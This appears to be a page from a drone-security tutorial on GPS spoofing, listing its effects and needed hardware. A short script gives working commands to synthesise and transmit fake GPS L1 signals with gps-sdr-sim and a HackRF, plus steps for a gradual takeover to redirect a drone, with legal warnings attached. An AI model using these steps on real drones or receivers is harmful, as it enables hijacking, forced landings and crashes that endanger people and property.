GPS Spoofing
Navigation
GPS spoofing attacks can manipulate drone position, triggering geofencing, forcing landings, or redirecting flight paths. Drones rely heavily on GPS for navigation.
GPS Spoofing Concepts
Attack Effects
- • Position shift (gradual or sudden)
- • Trigger geofence restrictions
- • Force Return-to-Home
- • Time manipulation
Requirements
- • SDR capable of GPS frequencies
- • GPS signal generator software
- • Appropriate antenna
- • Line of sight to target
GPS Spoofing Tools
gps-spoofing.sh
# GPS-SDR-SIM - GPS signal simulator
git clone https://github.com/osqzss/gps-sdr-sim
# Generate GPS signal for specific location
./gps-sdr-sim -e brdc.nav -l 37.7749,-122.4194,100
# Transmit with HackRF (GPS L1: 1575.42 MHz)
hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 47
# IMPORTANT: Use Faraday cage for testing
# GPS spoofing is illegal in most jurisdictions
# Gradual takeover technique:
# 1. Start with legitimate position
# 2. Overpower real signals gradually
# 3. Slowly shift position to target
# 4. Drone follows spoofed positionLegal Warning
GPS spoofing is a federal crime in most countries. Only perform in shielded
environments with proper authorization for research purposes.